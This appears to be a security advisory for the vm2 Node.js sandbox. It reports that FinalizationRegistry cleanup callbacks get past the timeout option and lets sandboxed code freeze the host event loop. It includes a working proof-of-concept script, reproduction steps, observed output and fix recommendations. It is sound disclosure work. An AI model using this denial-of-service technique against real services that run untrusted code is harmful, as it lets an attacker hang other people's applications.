vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)

Vulnerability Summary

vm2's VM({ timeout }) option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to VM#run() (via doWithTimeout → this._runScript(script) in lib/vm.js). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run after that call has already returned.

FinalizationRegistry and WeakRef are exposed to sandboxed code completely unmodified — they are not present anywhere in lib/setup-sandbox.js's list of specially-wrapped/hardened globals (only WeakMap, Promise, Proxy, Reflect, etc. receive hardening there). Sandboxed code can register a FinalizationRegistry callback against an object it creates and immediately drops. VM#run() returns normally, well within the configured timeout, because registration is instant. At some later point — determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via --expose-gc) — the engine invokes the sandboxed cleanup callback directly. This invocation is not mediated by doWithTimeout, Script.runInContext({timeout}), or any other vm2 accounting mechanism, because it isn't a new call to VM#run() at all — it's the GC's own native callback-invocation path.

Affected Code & Version

• Repository: patriksimek/vm2
• Version tested: 3.11.6 (commit a5b31cd9c01b37139aa9c71df1c691a6d1b440f9, 2026-08-14) — the current main branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch).
• lib/vm.js, run() (~line 501) and doWithTimeout() (~line 105): the timeout option only wraps the single call to this._runScript(script). No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call.
• lib/setup-sandbox.js, lines 1–14: the module's captured/hardened globals list (LocalWeakMap, LocalProxy, LocalError, etc.) does not include FinalizationRegistry or WeakRef. Repo-wide grep for FinalizationRegistry|WeakRef returns zero matches in lib/, confirming neither receives any wrapping, restriction, or special handling — they are exposed to sandboxed code as bare, fully-functional constructors.

Steps to Reproduce

Environment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with npm install.

1. Clone and install:

   git clone https://github.com/patriksimek/vm2.git
   cd vm2 && npm install

2. Save as poc_timeout_bypass.js in the repo root:

   const { VM } = require('./lib/main.js');
 
   const CONFIGURED_TIMEOUT_MS = 200;
   const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });
 
   const t0 = Date.now();
   let runError = null;
   try {
     vm.run(`
       let target = {};
       const registry = new FinalizationRegistry(() => {
         const busyStart = Date.now();
         while (Date.now() - busyStart < 3000) { /* burn CPU, block event loop */ }
       });
       registry.register(target, 'held-value');
       target = null; // drop only strong reference -> GC-eligible
     `);
   } catch (e) { runError = e.message; }
   const t1 = Date.now();
   console.log('vm.run() returned after', t1 - t0, 'ms. Threw:', runError);
 
   if (!global.gc) { console.log('Re-run with --expose-gc'); process.exit(1); }
   global.gc(); global.gc();
 
   const timerScheduledAt = Date.now();
   setTimeout(() => {
     const delay = Date.now() - timerScheduledAt;
     console.log('Host setTimeout(10ms) actually fired after', delay, 'ms');
     console.log('Total wall time since vm.run() returned:', Date.now() - t1, 'ms');
   }, 10);

3. Run: node --expose-gc poc_timeout_bypass.js
4. Observed output:

   vm.run() returned after 2 ms. Threw: null
   Host setTimeout(10ms) actually fired after 3000 ms
   Total wall time since vm.run() returned: 3029 ms

5. Interpretation: run() returned in 2ms, well inside the configured 200ms timeout — vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop — not just the sandbox — was blocked by sandboxed code running 15x longer than the configured timeout, entirely after run() had returned and outside any timeout enforcement.
6. typeof FinalizationRegistry and typeof WeakRef inside a fresh VM() both evaluate to "function" with no wrapping, confirming the surface is reachable by design, not by an incidental leak.

Fix Recommendation

Pick one or combine:

1. Remove FinalizationRegistry and WeakRef from the sandbox global scope by default. These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock timeout promise. Delete them from the context in lib/setup-sandbox.js alongside the other hardening done there, mirroring how other dangerous globals are handled.
2. If they must remain available, wrap FinalizationRegistry's constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via Script.runInContext with timeout again, or by tracking cumulative CPU time via process.hrtime/Isolate::TerminateExecution if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget run() call is today.
3. Document the gap explicitly if neither is implemented immediately: the current README/docs describe timeout as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (FinalizationRegistry) are exempt.

any application that runs untrusted code through vm2 with a timeout expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (registry.register(target, x) then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker's loop runs — with no relationship at all to the configured timeout value. Because the freeze happens asynchronously and disconnected from the triggering run() call, it also undermines incident response: by the time the hang is observed, the run() call that caused it may be long gone from logs/traces.

This is a timeout-enforcement bypass / uncontrolled resource consumption issue, not (as currently demonstrated) a proxy/realm escape to host object access — sandboxed code stays within its own realm. See "What this report does not claim" below.